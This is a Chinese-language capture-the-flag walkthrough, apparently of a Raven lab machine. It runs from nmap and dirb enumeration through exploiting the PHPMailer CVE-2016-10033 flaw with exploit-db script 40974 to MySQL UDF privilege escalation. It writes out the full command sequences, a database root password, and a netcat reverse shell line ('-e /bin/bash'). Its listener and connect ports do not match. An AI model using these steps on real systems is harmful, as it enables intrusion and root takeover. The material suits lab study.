环境:
kali:192.168.157.128
linux靶机:192.168.157.130
1.使用nmap对当前网段进行扫描
nmap 192.168.157.0/24
发现靶机IP和开放端口
2.对靶机进行详细的服务探测
-
-sS
:使用 SYN 扫描(半开放扫描)方式,向目标主机发送 SYN 请求进行端口扫描。 -
-sV
:对开放的端口进行版本探测,尝试获取正在运行的服务的版本信息。 -
-T4
:设置扫描速度为快速模式。 -
-A
:启用一系列的侦测功能,包括操作系统探测、脚本扫描等。
nmap -sS -sV -T4 -A 192.168.157.130
3.使用dirb对80端口对应的网站进行目录爆
dirb http://192.168.157.130
在http:192.168.157.130/vendor/PATH这个路径发现第一个flag
在http:192.168.157.130/vendor/README.md这个文件中发现使用的插件是PHPMailer
在http:192.168.157.130/vendor/SECURITY.md发现了PHPMailer的历史漏洞
翻译http:192.168.157.130/vendor/SECURITY.md页面的内容如下:
关于 PHPMailer 的安全通知:
请负责任地通报发现的任何漏洞,将发现的任何安全问题私下报告给维护人员。
PHPMailer 版本 5.2.18 之前(于 2016 年 12 月发布)存在漏洞 CVE-2016-10033 ,是一种远程代码执行漏洞,由 Dawid Golunski 负责报告。
PHPMailer 版本 5.2.14 之前(于 2015 年 11 月发布)存在漏洞 CVE-2015-8476 ,是一种 SMTP CRLF 注入漏洞,允许任意消息发送。
PHPMailer 版本 5.2.10 之前(于 2015 年 5 月发布)存在漏洞 CVE-2008-5619 ,是一个远程代码执行漏洞,存在于捆绑的 html2text 库中。这个文件已在 5.2.10 中删除,因此如果您使用的版本早于此版本并且使用 html2text 函数,则非常重要的升级并删除此文件。
PHPMailer 版本 2.0.7 和 2.2.1 之前存在漏洞 CVE-2012-0796,是一种电子邮件头注入攻击。
Joomla 1.6.0 不安全地使用 PHPMailer,允许揭示本地文件路径,报告于 CVE-2011-3747。
PHPMailer 未对
SetLanguage
中的$lang_path
参数进行清理。这本身不是问题,但某些应用程序(如 PHPClassifieds、ATutor)也未能清理传递给它的用户提供的参数,允许半任意本地文件包含,报告于 CVE-2010-4914 、 CVE-2007-2021 和 CVE-2006-5734。PHPMailer 1.7.2 及更早版本存在可能的 DDoS 漏洞,报告于 CVE-2005-1807。
PHPMailer 1.7 及更早版本(2003 年 6 月)在
SendmailSend
方法中存在可能的漏洞,其中 shell 命令可能无法进行清理。报告于 CVE-2007-3215。
在http:192.168.157.130/vendor/VERSION发现了PHPMailer当前的版本,正好是5.2.16,符合CVE-2016-10033,直接找exp
4.40947文件
searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面/3 复制到桌面的文件夹
vi 40974.py #编辑文件
41行:修改成目标地址
42行:生成的后门文件名称
44行:修改反弹的ip及端口
47行:网站的根目
python 40974.py #运行Python文件
5.监听本地8888端口
监听之前将kali默认的shell切换为bash
bash
nc -lvnp 8888
同时访问http:192.168.157.130/contact.php,在接着访问http:192.168.157.130/test.ph
p。因为我们想访问contact.php,才会生成test.php的后门。
使用技巧切换为稳定的shell,依次执行一下代码
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+z
stty raw -echofg
6.寻找剩下的flag
find -name flag*
MYSQL-UDF提权
1.查看MySQL进程信息,是root权限运行
ps aux | grep mysql
2.查看在wordpress目录下的wp-config.php文件看mysql的账号及密码
3.查看mysql是否有版本及是否有写入权限及插件目录
mysql -uroot -pR@v3nSecurity 登录mysql
select version();
show global variables like 'secure%'; #首先看一下是否满足写入条件
show variables like 'plugin%';或select @@plugin_dir; #查看插件目
4.将文件1518.c从kali中复制出来,进行本机编译
cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
python -m http.server # 开启服务
wget http:192.168.86.128:8000/udf.so
mysql -uroot -pR@v3nSecurity
use mysql;
create table foo(line blob); #进入数据库创建数据表
insert into foo values(load_file('/tmp/udf.so')); #插入数据文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so'; #成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
create function do_system returns integer soname 'udf.so'; #创建自定义函数
do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:select * from mysql.func; #查看以下创建的函数
本地监听nc -lvnp 4455
mysql中执行:select do_system('nc -nv 192.168.168.128 6666 -e /bin/bash')
文章来源:https://www.toymoban.com/news/detail-789574.html
文章来源地址https://www.toymoban.com/news/detail-789574.html
到了这里,关于udf提权的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!